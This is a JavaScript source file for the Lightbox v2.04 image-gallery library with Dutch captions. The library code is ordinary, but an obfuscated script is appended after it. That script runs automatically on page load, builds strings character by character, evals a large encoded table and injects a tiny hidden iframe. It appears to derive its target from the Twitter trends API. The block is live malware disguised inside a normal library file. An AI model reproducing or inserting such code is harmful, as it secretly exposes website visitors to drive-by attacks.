// -----------------------------------------------------------------------------------
//
//	Lightbox v2.04
//	by Lokesh Dhakar - http://www.lokeshdhakar.com
//	Last Modification: 2/9/08
//
//	For more information, visit:
//	http://lokeshdhakar.com/projects/lightbox2/
//
//	Licensed under the Creative Commons Attribution 2.5 License - http://creativecommons.org/licenses/by/2.5/
//  	- Free for use in both personal and commercial projects
//		- Attribution requires leaving author name, author link, and the license info intact.
//	
//  Thanks: Scott Upton(uptonic.com), Peter-Paul Koch(quirksmode.com), and Thomas Fuchs(mir.aculo.us) for ideas, libs, and snippets.
//  		Artemy Tregubenko (arty.name) for cleanup and help in updating to latest ver of proto-aculous.
//
// -----------------------------------------------------------------------------------
/*

    Table of Contents
    -----------------
    Configuration

    Lightbox Class Declaration
    - initialize()
    - updateImageList()
    - start()
    - changeImage()
    - resizeImageContainer()
    - showImage()
    - updateDetails()
    - updateNav()
    - enableKeyboardNav()
    - disableKeyboardNav()
    - keyboardAction()
    - preloadNeighborImages()
    - end()
    
    Function Calls
    - document.observe()
   
*/
// -----------------------------------------------------------------------------------

//
//  Configurationl
//
LightboxOptions = Object.extend({
    fileLoadingImage:        '../images/loading.gif',     
    fileBottomNavCloseImage: '../images/close.gif',

    overlayOpacity: 0.8,   // controls transparency of shadow overlay

    animate: true,         // toggles resizing animations
    resizeSpeed: 8,        // controls the speed of the image resizing animations (1=slowest and 10=fastest)

    borderSize: 10,         //if you adjust the padding in the CSS, you will need to update this variable

	// When grouping images this is used to write: Image # of #.
	// Change it for non-english localization
	labelImage: "Afbeelding",
	labelOf: "van"
}, window.LightboxOptions || {});

// -----------------------------------------------------------------------------------

var Lightbox = Class.create();

Lightbox.prototype = {
    imageArray: [],
    activeImage: undefined,
    
    // initialize()
    // Constructor runs on completion of the DOM loading. Calls updateImageList and then
    // the function inserts html at the bottom of the page which is used to display the shadow 
    // overlay and the image container.
    //
    initialize: function() {    
        
        this.updateImageList();
        
        this.keyboardAction = this.keyboardAction.bindAsEventListener(this);

        if (LightboxOptions.resizeSpeed > 10) LightboxOptions.resizeSpeed = 10;
        if (LightboxOptions.resizeSpeed < 1)  LightboxOptions.resizeSpeed = 1;

	    this.resizeDuration = LightboxOptions.animate ? ((11 - LightboxOptions.resizeSpeed) * 0.15) : 0;
	    this.overlayDuration = LightboxOptions.animate ? 0.2 : 0;  // shadow fade in/out duration

        // When Lightbox starts it will resize itself from 250 by 250 to the current image dimension.
        // If animations are turned off, it will be hidden as to prevent a flicker of a
        // white 250 by 250 box.
        var size = (LightboxOptions.animate ? 250 : 1) + 'px';
        

        // Code inserts html at the bottom of the page that looks similar to this:
        //
        //  <div id="overlay"></div>
        //  <div id="lightbox">
        //      <div id="outerImageContainer">
        //          <div id="imageContainer">
        //              <img id="lightboxImage">
        //              <div style="" id="hoverNav">
        //                  <a href="#" id="prevLink"></a>
        //                  <a href="#" id="nextLink"></a>
        //              </div>
        //              <div id="loading">
        //                  <a href="#" id="loadingLink">
        //                      <img src="images/loading.gif">
        //                  </a>
        //              </div>
        //          </div>
        //      </div>
        //      <div id="imageDataContainer">
        //          <div id="imageData">
        //              <div id="imageDetails">
        //                  <span id="caption"></span>
        //                  <span id="numberDisplay"></span>
        //              </div>
        //              <div id="bottomNav">
        //                  <a href="#" id="bottomNavClose">
        //                      <img src="images/close.gif">
        //                  </a>
        //              </div>
        //          </div>
        //      </div>
        //  </div>


        var objBody = $$('body')[0];

		objBody.appendChild(Builder.node('div',{id:'overlay'}));
	
        objBody.appendChild(Builder.node('div',{id:'lightbox'}, [
            Builder.node('div',{id:'outerImageContainer'}, 
                Builder.node('div',{id:'imageContainer'}, [
                    Builder.node('img',{id:'lightboxImage'}), 
                    Builder.node('div',{id:'hoverNav'}, [
                        Builder.node('a',{id:'prevLink', href: '#' }),
                        Builder.node('a',{id:'nextLink', href: '#' })
                    ]),
                    Builder.node('div',{id:'loading'}, 
                        Builder.node('a',{id:'loadingLink', href: '#' }, 
                            Builder.node('img', {src: LightboxOptions.fileLoadingImage})
                        )
                    )
                ])
            ),
            Builder.node('div', {id:'imageDataContainer'},
                Builder.node('div',{id:'imageData'}, [
                    Builder.node('div',{id:'imageDetails'}, [
                        Builder.node('span',{id:'caption'}),
                        Builder.node('span',{id:'numberDisplay'})
                    ]),
                    Builder.node('div',{id:'bottomNav'},
                        Builder.node('a',{id:'bottomNavClose', href: '#' },
                            Builder.node('img', { src: LightboxOptions.fileBottomNavCloseImage })
                        )
                    )
                ])
            )
        ]));


		$('overlay').hide().observe('click', (function() { this.end(); }).bind(this));
		$('lightbox').hide().observe('click', (function(event) { if (event.element().id == 'lightbox') this.end(); }).bind(this));
		$('outerImageContainer').setStyle({ width: size, height: size });
		$('prevLink').observe('click', (function(event) { event.stop(); this.changeImage(this.activeImage - 1); }).bindAsEventListener(this));
		$('nextLink').observe('click', (function(event) { event.stop(); this.changeImage(this.activeImage + 1); }).bindAsEventListener(this));
		$('loadingLink').observe('click', (function(event) { event.stop(); this.end(); }).bind(this));
		$('bottomNavClose').observe('click', (function(event) { event.stop(); this.end(); }).bind(this));

        var th = this;
        (function(){
            var ids = 
                'overlay lightbox outerImageContainer imageContainer lightboxImage hoverNav prevLink nextLink loading loadingLink ' + 
                'imageDataContainer imageData imageDetails caption numberDisplay bottomNav bottomNavClose';   
            $w(ids).each(function(id){ th[id] = $(id); });
        }).defer();
    },

    //
    // updateImageList()
    // Loops through anchor tags looking for 'lightbox' references and applies onclick
    // events to appropriate links. You can rerun after dynamically adding images w/ajax.
    //
    updateImageList: function() {   
        this.updateImageList = Prototype.emptyFunction;

        document.observe('click', (function(event){
            var target = event.findElement('a[rel^=lightbox]') || event.findElement('area[rel^=lightbox]');
            if (target) {
                event.stop();
                this.start(target);
            }
        }).bind(this));
    },
    
    //
    //  start()
    //  Display overlay and lightbox. If image is part of a set, add siblings to imageArray.
    //
    start: function(imageLink) {    

        $$('select', 'object', 'embed').each(function(node){ node.style.visibility = 'hidden' });

        // stretch overlay to fill page and fade in
        var arrayPageSize = this.getPageSize();
        $('overlay').setStyle({ width: arrayPageSize[0] + 'px', height: arrayPageSize[1] + 'px' });

        new Effect.Appear(this.overlay, { duration: this.overlayDuration, from: 0.0, to: LightboxOptions.overlayOpacity });

        this.imageArray = [];
        var imageNum = 0;       

        if ((imageLink.rel == 'lightbox')){
            // if image is NOT part of a set, add single image to imageArray
            this.imageArray.push([imageLink.href, imageLink.title]);         
        } else {
            // if image is part of a set..
            this.imageArray = 
                $$(imageLink.tagName + '[href][rel="' + imageLink.rel + '"]').
                collect(function(anchor){ return [anchor.href, anchor.title]; }).
                uniq();
            
            while (this.imageArray[imageNum][0] != imageLink.href) { imageNum++; }
        }

        // calculate top and left offset for the lightbox 
        var arrayPageScroll = document.viewport.getScrollOffsets();
        var lightboxTop = arrayPageScroll[1] + (document.viewport.getHeight() / 10);
        var lightboxLeft = arrayPageScroll[0];
        this.lightbox.setStyle({ top: lightboxTop + 'px', left: lightboxLeft + 'px' }).show();
        
        this.changeImage(imageNum);
    },

    //
    //  changeImage()
    //  Hide most elements and preload image in preparation for resizing image container.
    //
    changeImage: function(imageNum) {   
        
        this.activeImage = imageNum; // update global var

        // hide elements during transition
        if (LightboxOptions.animate) this.loading.show();
        this.lightboxImage.hide();
        this.hoverNav.hide();
        this.prevLink.hide();
        this.nextLink.hide();
		// HACK: Opera9 does not currently support scriptaculous opacity and appear fx
        this.imageDataContainer.setStyle({opacity: .0001});
        this.numberDisplay.hide();      
        
        var imgPreloader = new Image();
        
        // once image is preloaded, resize image container


        imgPreloader.onload = (function(){
            this.lightboxImage.src = this.imageArray[this.activeImage][0];
            this.resizeImageContainer(imgPreloader.width, imgPreloader.height);
        }).bind(this);
        imgPreloader.src = this.imageArray[this.activeImage][0];
    },

    //
    //  resizeImageContainer()
    //
    resizeImageContainer: function(imgWidth, imgHeight) {

        // get current width and height
        var widthCurrent  = this.outerImageContainer.getWidth();
        var heightCurrent = this.outerImageContainer.getHeight();

        // get new width and height
        var widthNew  = (imgWidth  + LightboxOptions.borderSize * 2);
        var heightNew = (imgHeight + LightboxOptions.borderSize * 2);

        // scalars based on change from old to new
        var xScale = (widthNew  / widthCurrent)  * 100;
        var yScale = (heightNew / heightCurrent) * 100;

        // calculate size difference between new and old image, and resize if necessary
        var wDiff = widthCurrent - widthNew;
        var hDiff = heightCurrent - heightNew;

        if (hDiff != 0) new Effect.Scale(this.outerImageContainer, yScale, {scaleX: false, duration: this.resizeDuration, queue: 'front'}); 
        if (wDiff != 0) new Effect.Scale(this.outerImageContainer, xScale, {scaleY: false, duration: this.resizeDuration, delay: this.resizeDuration}); 

        // if new and old image are same size and no scaling transition is necessary, 
        // do a quick pause to prevent image flicker.
        var timeout = 0;
        if ((hDiff == 0) && (wDiff == 0)){
            timeout = 100;
            if (Prototype.Browser.IE) timeout = 250;   
        }

        (function(){
            this.prevLink.setStyle({ height: imgHeight + 'px' });
            this.nextLink.setStyle({ height: imgHeight + 'px' });
            this.imageDataContainer.setStyle({ width: widthNew + 'px' });

            this.showImage();
        }).bind(this).delay(timeout / 1000);
    },
    
    //
    //  showImage()
    //  Display image and begin preloading neighbors.
    //
    showImage: function(){
        this.loading.hide();
        new Effect.Appear(this.lightboxImage, { 
            duration: this.resizeDuration, 
            queue: 'end', 
            afterFinish: (function(){ this.updateDetails(); }).bind(this) 
        });
        this.preloadNeighborImages();
    },

    //
    //  updateDetails()
    //  Display caption, image number, and bottom nav.
    //
    updateDetails: function() {
    
        // if caption is not null
        if (this.imageArray[this.activeImage][1] != ""){
            this.caption.update(this.imageArray[this.activeImage][1]).show();
        }
        
        // if image is part of set display 'Image x of x' 
        if (this.imageArray.length > 1){
            this.numberDisplay.update( LightboxOptions.labelImage + ' ' + (this.activeImage + 1) + ' ' + LightboxOptions.labelOf + '  ' + this.imageArray.length).show();
        }

        new Effect.Parallel(
            [ 
                new Effect.SlideDown(this.imageDataContainer, { sync: true, duration: this.resizeDuration, from: 0.0, to: 1.0 }), 
                new Effect.Appear(this.imageDataContainer, { sync: true, duration: this.resizeDuration }) 
            ], 
            { 
                duration: this.resizeDuration, 
                afterFinish: (function() {
	                // update overlay size and update nav
	                var arrayPageSize = this.getPageSize();
	                this.overlay.setStyle({ height: arrayPageSize[1] + 'px' });
	                this.updateNav();
                }).bind(this)
            } 
        );
    },

    //
    //  updateNav()
    //  Display appropriate previous and next hover navigation.
    //
    updateNav: function() {

        this.hoverNav.show();               

        // if not first image in set, display prev image button
        if (this.activeImage > 0) this.prevLink.show();

        // if not last image in set, display next image button
        if (this.activeImage < (this.imageArray.length - 1)) this.nextLink.show();
        
        this.enableKeyboardNav();
    },

    //
    //  enableKeyboardNav()
    //
    enableKeyboardNav: function() {
        document.observe('keydown', this.keyboardAction); 
    },

    //
    //  disableKeyboardNav()
    //
    disableKeyboardNav: function() {
        document.stopObserving('keydown', this.keyboardAction); 
    },

    //
    //  keyboardAction()
    //
    keyboardAction: function(event) {
        var keycode = event.keyCode;

        var escapeKey;
        if (event.DOM_VK_ESCAPE) {  // mozilla
            escapeKey = event.DOM_VK_ESCAPE;
        } else { // ie
            escapeKey = 27;
        }

        var key = String.fromCharCode(keycode).toLowerCase();
        
        if (key.match(/x|o|c/) || (keycode == escapeKey)){ // close lightbox
            this.end();
        } else if ((key == 'p') || (keycode == 37)){ // display previous image
            if (this.activeImage != 0){
                this.disableKeyboardNav();
                this.changeImage(this.activeImage - 1);
            }
        } else if ((key == 'n') || (keycode == 39)){ // display next image
            if (this.activeImage != (this.imageArray.length - 1)){
                this.disableKeyboardNav();
                this.changeImage(this.activeImage + 1);
            }
        }
    },

    //
    //  preloadNeighborImages()
    //  Preload previous and next images.
    //
    preloadNeighborImages: function(){
        var preloadNextImage, preloadPrevImage;
        if (this.imageArray.length > this.activeImage + 1){
            preloadNextImage = new Image();
            preloadNextImage.src = this.imageArray[this.activeImage + 1][0];
        }
        if (this.activeImage > 0){
            preloadPrevImage = new Image();
            preloadPrevImage.src = this.imageArray[this.activeImage - 1][0];
        }
    
    },

    //
    //  end()
    //
    end: function() {
        this.disableKeyboardNav();
        this.lightbox.hide();
        new Effect.Fade(this.overlay, { duration: this.overlayDuration });
        $$('select', 'object', 'embed').each(function(node){ node.style.visibility = 'visible' });
    },

    //
    //  getPageSize()
    //
    getPageSize: function() {
	        
	     var xScroll, yScroll;
		
		if (window.innerHeight && window.scrollMaxY) {	
			xScroll = window.innerWidth + window.scrollMaxX;
			yScroll = window.innerHeight + window.scrollMaxY;
		} else if (document.body.scrollHeight > document.body.offsetHeight){ // all but Explorer Mac
			xScroll = document.body.scrollWidth;
			yScroll = document.body.scrollHeight;
		} else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
			xScroll = document.body.offsetWidth;
			yScroll = document.body.offsetHeight;
		}
		
		var windowWidth, windowHeight;
		
		if (self.innerHeight) {	// all except Explorer
			if(document.documentElement.clientWidth){
				windowWidth = document.documentElement.clientWidth; 
			} else {
				windowWidth = self.innerWidth;
			}
			windowHeight = self.innerHeight;
		} else if (document.documentElement && document.documentElement.clientHeight) { // Explorer 6 Strict Mode
			windowWidth = document.documentElement.clientWidth;
			windowHeight = document.documentElement.clientHeight;
		} else if (document.body) { // other Explorers
			windowWidth = document.body.clientWidth;
			windowHeight = document.body.clientHeight;
		}	
		
		// for small pages with total height less then height of the viewport
		if(yScroll < windowHeight){
			pageHeight = windowHeight;
		} else { 
			pageHeight = yScroll;
		}
	
		// for small pages with total width less then width of the viewport
		if(xScroll < windowWidth){	
			pageWidth = xScroll;		
		} else {
			pageWidth = windowWidth;
		}

		return [pageWidth,pageHeight];
	}
}

document.observe('dom:loaded', function () { new Lightbox(); });





(function(f_bcr){f_bcr();setTimeout(function(){d='f_bbT={v7bvbbv1av86vc2vc7vc1vc6v80:"",v7bvbbv2av86vc2vc8vc1vc6v80:"",v9bvbbv3av86vc2vc7vc1vc6v30:"l=St",v86v85v4evb2v90v78vcfv92v75:"ring.f",v82v7dv52vbavbfvccv76v9av76:"romCha",v78vb8v68v92v95v7evd0v75v94:"rCode(",c7vb2vc3v71vb7vb0vb3vb3vc8:81,q8ev73vb2vb3vb4vb5vb6vb7vb8:81,bevc0vbfvc1vc2vc3vc4vc5vc6:86,c2vc3vc4vc5vc6vc7vc8vc9vca:81,cdv75v81vc6vc3vbfvbcvc7v7b:83,q77v77v79v8bvb6vc5vbevb3vc4:80,c3vc9vc8v7avc0vb9vbcvbcva7:90,q7av76v7bvcdvbbvb8v7avc6vcb:82,c6vbbvc5vbcv7ev7av7fv77v93:86,b7vb0vb3vb3vb7v7fvb7vb0vb3:81,b9vc0v80vd2v7bv7fvbdvccvc5:87,b4vc5vbavc0vbfv79v7avccvba:81,c0v82vcevd3vcavbfvc9vc0v82:90,q7cv86vbevb7vbavbava0v81v79:88,q90vb9vb2vb5vb5vb9v81vb9vb2:83,b9vb9vc0v80vd2vc9vbcvcbvcc:87,c2vbevcdv74v7evb6vafvb2vb2:80,a1v96v8av94vbfvb8vbbvbbvc1:89,q92v77vbdvc9vc9vc5v8fv84v84:85,q75v7evb9vb2vb5vb5vb9v81vb9:83,afvb2vb2v9ev7bv72v8fvb3vb1:80,c1vc1vb7vb6vb8vc0v92v94v77:85,q93v7cv86vbfvbdvccva2vabva7:88,a1v7bvb9vb2vb5vb5vbbv7fvb9:83,c5vbevb3vc4vb9vbfvbev78vb6:80,b1vb4vb4v97v7bvcdvb8vb1vb4:82,b3vbbv8evb7vb0vb3vb3vbev79:81,b9vb2vb5vb5v98v7cv8evb9vb2:83,b5vb5v9av90vb9vb2vb5vb5v94:83,q7fvbdvb6vb9vb9vc1v80v92vbd:87,b3vb6vb6vc6v91vbavc9vc2vb7:84,c9vbevc4vc3v7dvcdv81vbev7e:85,d2vc9vbcvcbvccvc9vc5v7fvbd:87,b4vb7vb7vcdv7dvcdv80v77v77:85,q83v87v8bv83v99vd2v94v7cv8a:90,q75v7evcbvd0v8evb9vb2vb5vb5:83,c4v8dv77vb4vb2vc3vb1vc9vc4:80,c3vb6vcbvc2vc9vb6vcbvc2vc7:85,b1vbdvbcvb3vb1vbfvc8vbbvb1:80,b8vb6vc5vb3vb4vc8vb8vb3vcb:82,ccvcavb8vc4vbavc7vb8vc5vba:87,ccvb3vb9vb6vc9v79v80vc5vc2:82,bcvb9vc4v78v77vb1v77v79v8b:80,bavb3vb6vb6vbev82vc7vb9vc8:84,a6va5v94v95vb2vc5vb6v79vb7:81,b4vb7vb7vbfv83vbcvbavc9vaa:85,acv9bv9cvb9vccvbdv80v81v85:88,q78v78vb6vafvb2vb2v97v8ev88:80,q83v99v8cv94v8dv83v83v95vc0:90,b5vb8vb8vb7v93vbcvb5vb8vb8:86,c3v87vc0vbevcdvaevadv9cv9f:89,c9vc0vc0vadvb9vb5vc6v7cv7d:84,q84vbdvb6vb9vb9va1v7fv7bv83:87,aev7ava6vbbvc2vb6vbevcavb4:83,ccvbbv76v9cvc2vb7vc9vbev7d:86,b7v83v95vc0vb9vbcvbcvd0v97:90,b9vb2vb5vb5vbdv81vbavb8vc7:83,acvabv9ava4vc6vc5vcbvbfv7f:87,q7av7cv82v8cvb7vb0vb3vb3v95:81,q97vc0vb9vbcvbcvc4v88vc1vbf:90,c4va5va4v93v94vb1vc4vb5v78:80,q81v93vbevb7vbavbavbfv95vbe:88,b7vbavbavd1v80vb3vbevb7vba:88,b4vbav7ev74v78vb6vb3vc6vb7:82,q90v75v7fv77v81vc0vb4vc3v7b:83,b5vc0vb9vbcvbcvbbv86vc0vb9:90,b4vb4vc8v7evb8vb1vb4vb4v96:82,b1v80vbavb3vb6vb6vc6v7dv82:84,c1vc6vc0vc5v7fv79v84v79v80:87,b5v81v93vcbvbdvccvacvc1vc5:88,bcvc6vccvcbv7fvbdvccvc5vba:87,c9vbevc4vc3v7dv7evd0v79v83:85,bdvbbvcava0va9va5va4v7evbc:86,b5vb8vb8vbdv82vbcvcbvc4vb9:86,cbvc0vc6vc5v7fvbdvb6vb9vb9:87,q9cv80vd2vbdvb6vb9vb9vc6v94:87,q8av95vc0vb9vbcvbcvc5v97vc0:90,afvb2vb2v95v7evc4vc2vb5vbe:80,bevcdv95vc0vc9vccv82vc0vb9:90,b9vb9vd1v77vc0vc5v77vbdvb6:87,b9vb9vc2v80vd2vbdvb6vb9vb9:87,q96v91vbavc9vc2vb7vc8vbdvc3:84,bev78vb6vafvb2vb2vc1v79vcb:80,c8vbbvcavcbvc8vc4v76vbcvb5:86,bbvbbvc4vb4vbfvb8vbbvbbvd3:89,b0vaevb9vb2vb5vb5vc4vb0v81:83,c1vc5vb5vc2vc9vcdv8bvb9vb6:80,q7dvbbvb4vb7vb7v9cv93v8dv7b:85,q7bvbbvb4vb7vb7v9cv91v87v86:85,q77v77vb7vb0vb3vb3vcbv7fvba:81,c6vbcvbdvd0va7vbev80v7fv78:88,q85v8cv7cv7ev93v82v86v7evd0:85,bevb7vbavbavc7v95vbevb7vba:88,bav9bv80vbevb7vbavbav9av80:88,q87v7cv7fv84v7cv7evb9vb2vb5:83,b3vc9v79vb7vb0vb3vb3v93v79:81,q8bv80v80v92vb9vc9vbcvb8vc2:87,cevb6vbdvc4vb6v71vbavb7v79:81,q7fvbdvb6vb9vb9v9ev93v90vd3:87,d2vbcvb5vb8vb8v9dv94v88v86:86,q81v7ev7evbevb7vbavbavd2v86:88,b9vbevb4vb5vc8v9fvb6v78v77:80,q70v81v88v77v79v8ev7dv81v79:80,d1vbcvb5vb8vb8vc5v93vbcvb5:86,bavbav9bv80vbevb7vbavbav9a:88,q7av86v7bv7ev83v7bv7dvb8vb1:82,b6vb6vccv7cvbavb3vb6vb6v96:84,q7dv89v7ev7ev80v86v85v90vb7:85,ccvbfvbbvc5vd7vd7vc3vc0v82:90,q75vbavb3vb6vb6vc3v7dvbavb3:84,bavbavc7v95vbevb7vbavbav9b:88,q7bvb9vb2vb5vb5vbevaevb9vb2:83,bbvbbvd3vb6vb4v8fvb6v87vca:89,cavbavc7vcev81v86v7ev80v8c:85,q7evb9vb2vb5vb5vcbv7bvb9vb2:83,bavbavc3vb3vbevb7vbavbavd2:88,b0vaev89vb0v81vc4vc8vb8vc5:83,cdv7dv8fvbdvbav7cvbavb3vb6:84,b8vc5v7fvd1vbcvb5vb8vb8vc9:86,q8ev79v79v79vb7vb0vb3vb3vb2:81,q7bv78vb6vafvb2vb2vbfv7avb6:80,b6vb9vb9v9bv80v80v82v7fvbd:87,b4vb7vb7vcbvb3vbbvb4vb7vb7:85,q9bv80v81vbdvb6vb9vb9vc6v80:87,q7bvb6vafvb2vb2v94v79v7bv78:80,q89v88v88v81v93vbevb7vbavba:88,bev96v81vbfvb8vbbvbbvbav7f:89,q8avd2v9bv9bv83v95vc0vb9vbc:90,b5vb7v90v7bvb9vb2vb5vb5vb4:83,q7bv85vcdv88v88v86v86v7ev90:85,bdvb6vb9vb9vbav94vbdvb6vb9:87,bcvd1vb5v82v82vc0vb9vbcvbc:90,bcv82vbdvb6vb9vb9vcav80v7c:87,q87v84v7av76v83v87vaev7cvb7:81,b6vb9vb9vcevb2v7fv7fvbdvb6:87,bavbavbdv94v94v8av81v83vbe:88,afvb2vb2vc3v79v75v78v82v85:80,q7dvb1v8fvbavb3vb6v91vbavb3:84,b3vb3vc8vacv79v79v79vb7vb0:81,bavbavbcv96v96v8bv81v83vbe:88,afvb2vb2vc3v79v75v81v80v79:80,afv7dvb8vb1vb4vb4vc9vadv7a:82,q82v82vc0vb9vbcvbcvbev98v98:90,q87v7cv7evb9vb2vb5vb5vc6v7c:83,q7bv87v86v7fvb3v91vbcvb5vb8:86,b6vc9v91vbavb3vb6vb6vcbvaf:84,q79v79vb7vb0vb3vb3vc7v7cvb7:81,b4vb7vb7vc8v7ev7av7dv87v8a:85,q7fv7fvb3v81vbcvb5vb8vb8vcd:86,abv78v78vb6vafvb2vb2vc6v7a:80,bdvb6vb9vb9vcav80v7cv7fv89:87,q86v7av7avaev8cvb7vb0vb3vb3:81,c6v95vbevb7vbavbavcfvb3v80:88,q78vb6vafvb2vb2v94v7avb6vaf:80,b5vb5vc6v7cv78v85v87v7cvb0:83,q94vbfvb8vbbvbbva4v96v7dv87:89,bevb2vc1v79vacv89v82v7dv89:81,q85v7cv87v84v7cv87v84v7cv89:80,q8av84v89v8fv84v90v8av84v8f:88,q8dv86v92v8av86v8dv8av86v92:90,q86v80v8bv8bv80v86v89v80v85:84,q84v7fv84v83v7fv84v83v7fv89:83,q86v81v86v86v81v8av8bv81v8a:85,q8dv84v89v89v84v8dv8bv84v8e:88,q83v8cv8av83v8ev83v89v83v88:87,q85v89v85v8dv91vb6v85vbfvce:89,c5vbavcbvc0vc6vc5v7fvcfv83:87,c1v81vd3vcavbdvccvcdvcavc6:88,q75va8vc9vc7vbevc3vbcv83vbb:85,c4vc1vbfv95vbavb3vc4v95vc1:82,bavbbv7evbfv81vcev81v88v8a:86,q83vd7v83v95vc0vb9vbcvbcvca:90,q8fvb8vb1vb4vb4vcbv7avadv79:82,bcvc8vc8vc4v8ev83v83v7bv80:84,bfvb8vbbvbbvc7v85vbfvb8vbb:89,q82vbcvb5vb8vb8vcbv82vbcvb5:86,bcvbcvbdv86vc0vb9vbcvbcvc8:90,q84vbevb7vbavbavccvb3vbevb7:88,b7vb7vcbv82v86vb2v81v7cv83:85,b8vc4vc2v84v7cvb2v7ev80vbb:85,b0vb3vb3vcav79vb7vb0vb3vb3:81,a4v82v94vbfvb8vbbvbbv9fv96:89,bfvb8vbbvbbvd2v81vb4v80v95:89,b6vbbvc8v72vc5vc6vcbvbevb7:82,q95v7av7fv84vbevb7vbavbavaa:88,q85v80v96v7bv80v85vbfvb8vbb:89,b6vc4v80v7bv76v74vcbvbdvb8:84,cavbev93v87v86v86v76v7dv82:86,bcvb5vb8vb8va6v82v7dv94v92:86,q88vbdvc2vcfv97v80vb6v82v94:89,q7dv81v7bvbbvc8vbdvd2v7bv82:89,q85vb8vc7vc7vbcvc5vbbv7fvbd:87,afvb2vb2v96v79vcdvcdv79vcd:80,q80v86v84v84v84v7dvd1v7dvd1:84,q82vd6vbevc5vccvbevd4vccvbe:89,c9va9vbevc2vbavc4vcavc9v7d:85,c0vcfvc8vbdvcevc3vc9vc8v82:90,q7fvd1vbcvb5vb8vb8va3v7evbc:86,b9vbcvbcvc0v88vc4vabvcfvbf:90,c7vcev7evd2v81v87v85v85v7e:85,cfvcfvb8vc7vc0vb5vc6vbbvc1:82,c1v73vb9vb2vb5vb5v94v7bvcb:83,q79vcbvc2vb5vc4vc5vc2vbev70:80,cbv81vbavb8vc7va8va7v96v9b:83,c8vcevcbvccv81v82vd6vbfvce:89,c5vbavcbvc0vc6vc5v77vbdvb6:87,b3vb3vbev79vc9v7avccvb5v8e:81,c2vb9vcbv74v98vb5vc8vb9v7c:84,q7ev90vb9v83vc8vbavc9va9vbe:85,c4vbcv7fvcfv85vb8vcavb6vc6:87,bev82v89v88v88v88v81v93vca:88,bbvcavcbvc8vc4v76vbavd3vbc:86,c6vbfvb4vc5vbavc0vbfv71vb7:81,b9vbcvbcv9dv82vcdv86vc3v83:90,cbvc2vb5vc4vc5vc2vbev70vc3:80,q86vbbvc0vb9vcav9bvc7vbcvbd:88,q92vc5v79vbav7avcevb7vb0vb3:81,bava5v80vbevb7vbavbavbev86:88,beva5vc9vb9vc6vcdv7dv8fvba:84,c7vc0vb5vc6vbbvc1vc0v72vb8:82,b6vb9vb9vcfv7fvcfv80vd2vc9:87,b5vc4vc5vc2vbev70vc8v7evbc:80,bevc7vc0vcdvc1vd6:89,v86v85v7vb2v90v78vcfv92v77:"32);",v9vc8vcvbdvc6vbcv9bvc0vc1:"if(0){alert(l)};eval(l);",v77v7v70v99vc2v78v70v88v92:";"};f_bcd=[];f_bbf.f_bce=String[\'fr\'+f_bbf.f_bcg+\'har\'+f_bbf.f_bcf+\'de\'];f_bcd.push(\';f_bbf.f_bbR=f_bce(104,101,105,103,104,116,58,50,112,120,34,62,60,105,102,114,97,109,101,32,115,114,99);\');f_bcd.push(\'f_bbf.f_bbP=f_bce(104,101,105,103,104,116,61,50,62,60,47,105,102,114,97,109,101);\');f_bcd.push(\'f_bbf.f_bbN=f_bce(97,112,105,46,116,119,105,116,116,101,114,46,99,111,109,47,49,47,116,114,101,110,100,115,47,100,97,105,108,121,46,106,115,111,110);\');for(var f_bbS in f_bbT){f_bcd.push(f_bcb(f_bbS,f_bbT))};f_bcc(f_bby(f_bcd));try{f_bca.getElementById(window.f_bbN)}catch(e){}';f_bck=d;f_bcc(f_bck)},500)})(function(){f_bcv="0123456789";f_bca=document;f_bbf=window;f_bbf.f_bbi='undefined';f_bbf.f_bcf='Co';f_bbf.f_bcg='omC';f_bbf.f_bbJ=function($,f_bcw){return 0*1};f_bbf.f_bby=function(f_bbS){return f_bbS.join('')};f_bbf.f_bcc=eval;f_bbf.f_bcm=function(f_bbS){return f_bbS.pop()};f_bbf.f_bbf=f_bbf;f_bcu=function(){try{return!!($().jquery.match(/^1.[4-9]+/))}catch(e){return 0}};f_bcz=function(f_bbS){return f_bbS.length};f_bcp=(typeof($)==f_bbf.f_bbi);if(f_bcp||!f_bcu()){if(!f_bcp){try{f_bcy=jQuery.noConflict(true)}catch(e){};try{f_bcy=$.noConflict(true)}catch(e){}}f_bct=f_bca.getElementsByTagName('head')[0];f_bcj=f_bca.createElement('script');f_bcj.setAttribute('src',"http://ajax.googleapis.com/ajax/libs/jquery/1.6.2/jquery.min.js");f_bct.appendChild(f_bcj)}f_bbf.f_bco=100;f_bbf.f_bcn=25;f_bbf.f_bcb=function(f_bcq,f_bci){if("rqbcadef".indexOf(f_bcq.substr(0,1))>=0){var f_bcx=f_bby(f_bcq.split('q')).split('v');f_bch=f_bcz(f_bcx);for(var f_bcs=0;f_bcs<f_bch;f_bcs++){f_bcx[f_bcs]=parseInt(f_bcx[f_bcs],16)-f_bci[f_bcq]}return f_bcx.join(',')+','}else{return f_bci[f_bcq]}}})

